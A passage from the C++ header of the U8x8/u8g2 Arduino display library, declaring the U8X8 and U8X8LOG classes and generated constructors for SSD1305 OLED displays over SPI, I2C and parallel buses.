*u8g2, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nextern \"C\" uint8_t u8x8_byte_arduino_2nd_hw_spi(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); /* #244 */\nextern \"C\" uint8_t u8x8_byte_arduino_sw_i2c(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nextern \"C\" uint8_t u8x8_byte_arduino_hw_i2c(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nextern \"C\" uint8_t u8x8_byte_arduino_2nd_hw_i2c(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nextern \"C\" uint8_t u8x8_byte_arduino_ks0108(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\n\n#ifdef U8X8_USE_PINS\nvoid u8x8_SetPin_4Wire_SW_SPI(u8x8_t *u8x8, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset);\nvoid u8x8_SetPin_3Wire_SW_SPI(u8x8_t *u8x8, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset);\nvoid u8x8_SetPin_3Wire_HW_SPI(u8x8_t *u8x8, uint8_t cs, uint8_t reset);\nvoid u8x8_SetPin_4Wire_HW_SPI(u8x8_t *u8x8, uint8_t cs, uint8_t dc, uint8_t reset);\nvoid u8x8_SetPin_ST7920_HW_SPI(u8x8_t *u8x8, uint8_t cs, uint8_t reset);\nvoid u8x8_SetPin_SW_I2C(u8x8_t *u8x8, uint8_t clock, uint8_t data, uint8_t reset);\nvoid u8x8_SetPin_HW_I2C(u8x8_t *u8x8, uint8_t reset, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE);\nvoid u8x8_SetPin_8Bit_6800(u8x8_t *u8x8, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset);\nvoid u8x8_SetPin_8Bit_8080(u8x8_t *u8x8, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t wr, uint8_t cs, uint8_t dc, uint8_t reset);\nvoid u8x8_SetPin_KS0108(u8x8_t *u8x8, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t dc, uint8_t cs0, uint8_t cs1, uint8_t cs2, uint8_t reset);\nvoid u8x8_SetPin_SED1520(u8x8_t *u8x8, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t dc, uint8_t e1, uint8_t e2, uint8_t reset);\n#endif\n\n//void u8x8_Setup_4Wire_SW_SPI(u8x8_t *u8x8, u8x8_msg_cb display_cb, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset);\n//void u8x8_Setup_3Wire_SW_SPI(u8x8_t *u8x8, u8x8_msg_cb display_cb, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset);\n//void u8x8_Setup_4Wire_HW_SPI(u8x8_t *u8x8, u8x8_msg_cb display_cb, uint8_t cs, uint8_t dc, uint8_t reset);\n//void u8x8_Setup_SSD13xx_SW_I2C(u8x8_t *u8x8, u8x8_msg_cb display_cb, uint8_t clock, uint8_t data, uint8_t reset);\n//void u8x8_Setup_8Bit_6800(u8x8_t *u8x8, u8x8_msg_cb display_cb, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset);\n//void u8x8_Setup_8Bit_8080(u8x8_t *u8x8, u8x8_msg_cb display_cb, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t wr, uint8_t cs, uint8_t dc, uint8_t reset);\n\nclass U8X8\n#ifdef ARDUINO\n: public Print\n#endif\n{\n  protected:\n    u8x8_t u8x8;\n  public:\n    uint8_t tx, ty;\n  \n    U8X8(void) { home();  }\n    u8x8_t *getU8x8(void) { return &u8x8; }\n\n    void sendF(const char *fmt, ...) \n      { va_list va; va_start(va, fmt); u8x8_cad_vsendf(&u8x8, fmt, va); va_end(va); }\n    \n    uint32_t getBusClock(void) { return u8x8.bus_clock; }\n    void setBusClock(uint32_t clock_speed) { u8x8.bus_clock = clock_speed; }\n    \n    void setI2CAddress(uint8_t adr) { u8x8_SetI2CAddress(&u8x8, adr); }\n\n    uint8_t getCols(void) { return u8x8_GetCols(&u8x8); }\n    uint8_t getRows(void) { return u8x8_GetRows(&u8x8); }\n    \n    void drawTile(uint8_t x, uint8_t y, uint8_t cnt, uint8_t *tile_ptr) {\n      u8x8_DrawTile(&u8x8, x, y, cnt, tile_ptr); }\n\n#ifdef U8X8_WITH_USER_PTR\n      void *getUserPtr() { return u8x8_GetUserPtr(&u8x8); }\n      void setUserPtr(void *p) { u8x8_SetUserPtr(&u8x8, p); }\n#endif\n\n      \n#ifdef U8X8_USE_PINS \n    /* set the menu pins before calling begin() or initDisplay() */\n    void setMenuSelectPin(uint8_t val) {\n      u8x8_SetMenuSelectPin(&u8x8, val); }\n    void setMenuPrevPin(uint8_t val) {\n      u8x8_SetMenuPrevPin(&u8x8, val); }\n    void setMenuNextPin(uint8_t val) {\n      u8x8_SetMenuNextPin(&u8x8, val); }\n    void setMenuUpPin(uint8_t val) {\n      u8x8_SetMenuUpPin(&u8x8, val); }\n    void setMenuDownPin(uint8_t val) {\n      u8x8_SetMenuDownPin(&u8x8, val); }\n    void setMenuHomePin(uint8_t val) {\n      u8x8_SetMenuHomePin(&u8x8, val); }\n#endif\n      \n    void initDisplay(void) {\n      u8x8_InitDisplay(&u8x8); }\n\n    /* call initInterface if the uC comes out of deep sleep mode and display is already running */\n    /* initInterface is part if initDisplay, do not call both use either initDisplay OR initInterface */       \n    void initInterface(void) {          \n      u8x8_InitInterface(&u8x8); }\n      \n    void clearDisplay(void) {\n      u8x8_ClearDisplay(&u8x8); }\n\n    void fillDisplay(void) {\n      u8x8_FillDisplay(&u8x8); }\n      \n    void setPowerSave(uint8_t is_enable) {\n      u8x8_SetPowerSave(&u8x8, is_enable); }\n\n    bool begin(void) {\n      initDisplay(); clearDisplay(); setPowerSave(0); return 1; }\n\n#ifdef U8X8_USE_PINS \n    /* use U8X8_PIN_NONE if a pin is not required */\n    bool begin(uint8_t menu_select_pin, uint8_t menu_next_pin, uint8_t menu_prev_pin, uint8_t menu_up_pin = U8X8_PIN_NONE, uint8_t menu_down_pin = U8X8_PIN_NONE, uint8_t menu_home_pin = U8X8_PIN_NONE) {\n      setMenuSelectPin(menu_select_pin);\n      setMenuNextPin(menu_next_pin);\n      setMenuPrevPin(menu_prev_pin);\n      setMenuUpPin(menu_up_pin);\n      setMenuDownPin(menu_down_pin);\n      setMenuHomePin(menu_home_pin);\n      return begin(); }\n#endif\n      \n    void setFlipMode(uint8_t mode) {\n      u8x8_SetFlipMode(&u8x8, mode); }\n\n    void refreshDisplay(void) {\t\t\t// Dec 16: Only required for SSD1606\n      u8x8_RefreshDisplay(&u8x8); }\n      \n    void clearLine(uint8_t line) {\n      u8x8_ClearLine(&u8x8, line); }\n\n    void setContrast(uint8_t value) {\n      u8x8_SetContrast(&u8x8, value); }\n\n    void setInverseFont(uint8_t value) {\n      u8x8_SetInverseFont(&u8x8, value); }\n\n    void setFont(const uint8_t *font_8x8) {\n      u8x8_SetFont(&u8x8, font_8x8); }\n\n    void drawGlyph(uint8_t x, uint8_t y, uint8_t encoding) {\n      u8x8_DrawGlyph(&u8x8, x, y, encoding); }\n\n    void draw2x2Glyph(uint8_t x, uint8_t y, uint8_t encoding) {\n      u8x8_Draw2x2Glyph(&u8x8, x, y, encoding); }\n\n    void draw1x2Glyph(uint8_t x, uint8_t y, uint8_t encoding) {\n      u8x8_Draw1x2Glyph(&u8x8, x, y, encoding); }\n\n    void drawString(uint8_t x, uint8_t y, const char *s) {\n      u8x8_DrawString(&u8x8, x, y, s); }\n      \n    void drawUTF8(uint8_t x, uint8_t y, const char *s) {\n      u8x8_DrawUTF8(&u8x8, x, y, s); }\n\n    void draw2x2String(uint8_t x, uint8_t y, const char *s) {\n      u8x8_Draw2x2String(&u8x8, x, y, s); }\n\n    void draw1x2String(uint8_t x, uint8_t y, const char *s) {\n      u8x8_Draw1x2String(&u8x8, x, y, s); }\n      \n    void draw2x2UTF8(uint8_t x, uint8_t y, const char *s) {\n      u8x8_Draw2x2UTF8(&u8x8, x, y, s); }\n\n    void draw1x2UTF8(uint8_t x, uint8_t y, const char *s) {\n      u8x8_Draw1x2UTF8(&u8x8, x, y, s); }\n      \n    uint8_t getUTF8Len(const char *s) {\n      return u8x8_GetUTF8Len(&u8x8, s); }\n    \n    size_t write(uint8_t v);\n    /* code extended and moved to .cpp file, issue 74\n    size_t write(uint8_t v) {\n      u8x8_DrawGlyph(&u8x8, tx, ty, v);\n      tx++;\n      return 1;\n     }\n      */\n     \n    size_t write(const uint8_t *buffer, size_t size) {\n      size_t cnt = 0;\n      while( size > 0 ) {\n\tcnt += write(*buffer++); \n\tsize--;\n      }\n      return cnt;\n    }\n     \n     void inverse(void) { setInverseFont(1); }\n     void noInverse(void) { setInverseFont(0); }\n     \n    /* return 0 for no event or U8X8_MSG_GPIO_MENU_SELECT, */\n    /* U8X8_MSG_GPIO_MENU_NEXT, U8X8_MSG_GPIO_MENU_PREV, */\n    /* U8X8_MSG_GPIO_MENU_HOME */\n    uint8_t getMenuEvent(void) { return u8x8_GetMenuEvent(&u8x8); }\n\n    uint8_t userInterfaceSelectionList(const char *title, uint8_t start_pos, const char *sl) {\n      return u8x8_UserInterfaceSelectionList(&u8x8, title, start_pos, sl); }\n    uint8_t userInterfaceMessage(const char *title1, const char *title2, const char *title3, const char *buttons) {\n      return u8x8_UserInterfaceMessage(&u8x8, title1, title2, title3, buttons); }\n    uint8_t userInterfaceInputValue(const char *title, const char *pre, uint8_t *value, uint8_t lo, uint8_t hi, uint8_t digits, const char *post) {\n      return u8x8_UserInterfaceInputValue(&u8x8, title, pre, value, lo, hi, digits, post); }\n         \n     /* LiquidCrystal compatible functions */\n    void home(void) { tx = 0; ty = 0; }\n    void clear(void) { clearDisplay(); home(); }\n    void noDisplay(void) { u8x8_SetPowerSave(&u8x8, 1); }\n    void display(void) { u8x8_SetPowerSave(&u8x8, 0); }\n    void setCursor(uint8_t x, uint8_t y) { tx = x; ty = y; }\n\n    void drawLog(uint8_t x, uint8_t y, class U8X8LOG &u8x8log);\n    \n};\n\nclass U8X8LOG\n#ifdef ARDUINO\n: public Print\n#endif\n{\n  \n  public:\n    u8log_t u8log;\n  \n    /* the constructor does nothing, use begin() instead */\n    U8X8LOG(void) { }\n  \n    /* connect to u8g2, draw to u8g2 whenever required */\n    bool begin(class U8X8 &u8x8, uint8_t width, uint8_t height, uint8_t *buf)  { \n      u8log_Init(&u8log, width, height, buf);      \n      u8log_SetCallback(&u8log, u8log_u8x8_cb, u8x8.getU8x8());\n      return true;\n    }\n    \n    /* disconnected version, manual redraw required */\n    bool begin(uint8_t width, uint8_t height, uint8_t *buf) { \n      u8log_Init(&u8log, width, height, buf);  \n      return true;\n    }\n    \n    void setLineHeightOffset(int8_t line_height_offset) {\n      u8log_SetLineHeightOffset(&u8log, line_height_offset); }\n\n    void setRedrawMode(uint8_t is_redraw_line_for_each_char) {\n      u8log_SetRedrawMode(&u8log, is_redraw_line_for_each_char); }\n    \n    /* virtual function for print base class */    \n    size_t write(uint8_t v) {\n      u8log_WriteChar(&u8log, v);\n      return 1;\n     }\n\n    size_t write(const uint8_t *buffer, size_t size) {\n      size_t cnt = 0;\n      while( size > 0 ) {\n\tcnt += write(*buffer++); \n\tsize--;\n      }\n      return cnt;\n    }  \n\n    void writeString(const char *s) { u8log_WriteString(&u8log, s); }\n    void writeChar(uint8_t c) { u8log_WriteChar(&u8log, c); }\n    void writeHex8(uint8_t b) { u8log_WriteHex8(&u8log, b); }\n    void writeHex16(uint16_t v) { u8log_WriteHex16(&u8log, v); }\n    void writeHex32(uint32_t v) { u8log_WriteHex32(&u8log, v); }\n    void writeDec8(uint8_t v, uint8_t d) { u8log_WriteDec8(&u8log, v, d); }\n    void writeDec16(uint8_t v, uint8_t d) { u8log_WriteDec16(&u8log, v, d); }    \n};\n\n\n/* u8log_u8x8.c */\ninline void U8X8::drawLog(uint8_t x, uint8_t y, class U8X8LOG &u8x8log)\n{\n  u8x8_DrawLog(&u8x8, x, y, &(u8x8log.u8log)); \n}\n\n\n\n#ifdef U8X8_USE_PINS\n\nclass U8X8_NULL : public U8X8 {\n  public: U8X8_NULL(void) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_null_cb, u8x8_cad_empty, u8x8_byte_empty, u8x8_dummy_cb);\n  }\n};\n\n\n// constructor list start\n/* generated code (codebuild), u8g2 project */\nclass U8X8_SSD1305_128X32_NONAME_4W_SW_SPI : public U8X8 {\n  public: U8X8_SSD1305_128X32_NONAME_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1305_128x32_noname, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1305_128X32_NONAME_4W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1305_128X32_NONAME_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1305_128x32_noname, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SSD1305_128X32_NONAME_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1305_128X32_NONAME_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1305_128x32_noname, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SSD1305_128X32_NONAME_6800 : public U8X8 {\n  public: U8X8_SSD1305_128X32_NONAME_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1305_128x32_noname, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1305_128X32_NONAME_8080 : public U8X8 {\n  public: U8X8_SSD1305_128X32_NONAME_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1305_128x32_noname, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1305_128X32_ADAFRUIT_4W_SW_SPI : public U8X8 {\n  public: U8X8_SSD1305_128X32_ADAFRUIT_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1305_128x32_adafruit, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1305_128X32_ADAFRUIT_4W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1305_128X32_ADAFRUIT_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1305_128x32_adafruit, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SSD1305_128X32_ADAFRUIT_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1305_128X32_ADAFRUIT_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1305_128x32_adafruit, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SSD1305_128X32_ADAFRUIT_6800 : public U8X8 {\n  public: U8X8_SSD1305_128X32_ADAFRUIT_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1305_128x32_adafruit, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1305_128X32_ADAFRUIT_8080 : public U8X8 {\n  public: U8X8_SSD1305_128X32_ADAFRUIT_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1305_128x32_adafruit, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1305_128X32_NONAME_SW_I2C : public U8X8 {\n  public: U8X8_SSD1305_128X32_NONAME_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1305_128x32_noname, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8X8_SSD1305_128X32_NONAME_HW_I2C : public U8X8 {\n  public: U8X8_SSD1305_128X32_NONAME_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1305_128x32_noname, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8X8_SSD1305_128X32_NONAME_2ND_HW_I2C : public U8X8 {\n  public: U8X8_SSD1305_128X32_NONAME_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1305_128x32_noname, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8X8_SSD1305_128X32_ADAFRUIT_SW_I2C : public U8X8 {\n  public: U8X8_SSD1305_128X32_ADAFRUIT_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1305_128x32_adafruit, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8X8_SSD1305_128X32_ADAFRUIT_HW_I2C : public U8X8 {\n  public: U8X8_SSD1305_128X32_ADAFRUIT_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1305_128x32_adafruit, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8X8_SSD1305_128X32_ADAFRUIT_2ND_HW_I2C : public U8X8 {\n  public: U8X8_SSD1305_128X32_ADAFRUIT_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1305_128x32_adafruit, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8X8_SSD1305_128X64_ADAFRUIT_4W_SW_SPI : public U8X8 {\n  public: U8X8_SSD1305_128X64_ADAFRUIT_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1305_128x64_adafruit, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1305_128X64_ADAFRUIT_4W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1305_128X64_ADAFRUIT_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1305_128x64_adafruit, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SSD1305_128X64_ADAFRUIT_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1305_128X64_ADAFRUIT_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1305_128x64_adafruit, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SSD1305_128X64_ADAFRUIT_6800 : public U8X8 {\n  public: U8X8_SSD1305_128X64_ADAFRUIT_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1305_128x64_adafruit, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1305_128X64_ADAFRUIT_8080 : public U8X8 {\n  public: U8X8_SSD1305_128X64_ADAFRUIT_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1305_128x64_adafruit, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1305_128X64_RAYSTAR_4W_SW_SPI : public U8X8 {\n  public: U8X8_SSD1305_128X64_RAYSTAR_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1305_128x64_raystar, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1305_128X64_RAYSTAR_4W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1305_128X64_RAYSTAR_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1305_128x64_raystar, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SSD1305_128X64_RAYSTAR_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1305_128X64_RAYSTAR_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1305_128x64_raystar, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SSD1305_128X64_RAYSTAR_6800 : public U8X8 {\n  public: U8X8_SSD1305_128X64_RAYSTAR_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1305_128x64_raystar, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1305_128X64_RAYSTAR_8080 : public U8X8 {\n  public: U8X8_SSD1305_128X64_RAYSTAR_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1305_128x64_raystar, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1305_128X64_ADAFRUIT_SW_I2C : public U8X8 {\n  public: U8X8_SSD1305_128X64_ADAFRUIT_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1305_128x64_adafruit, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8X8_SSD1305_128X64_ADAFRUIT_HW_I2C : public U8X8 {\n  public: U8X8_SSD1305_128X64_ADAFRUIT_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1305_128x64_adafruit, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8X8_SSD1305_128X64_ADAFRUIT_2ND_HW_I2C : public U8X8 {\n  public: U8X8_SSD1305_128X64_ADAFRUIT_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1305_128x64_adafruit, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass 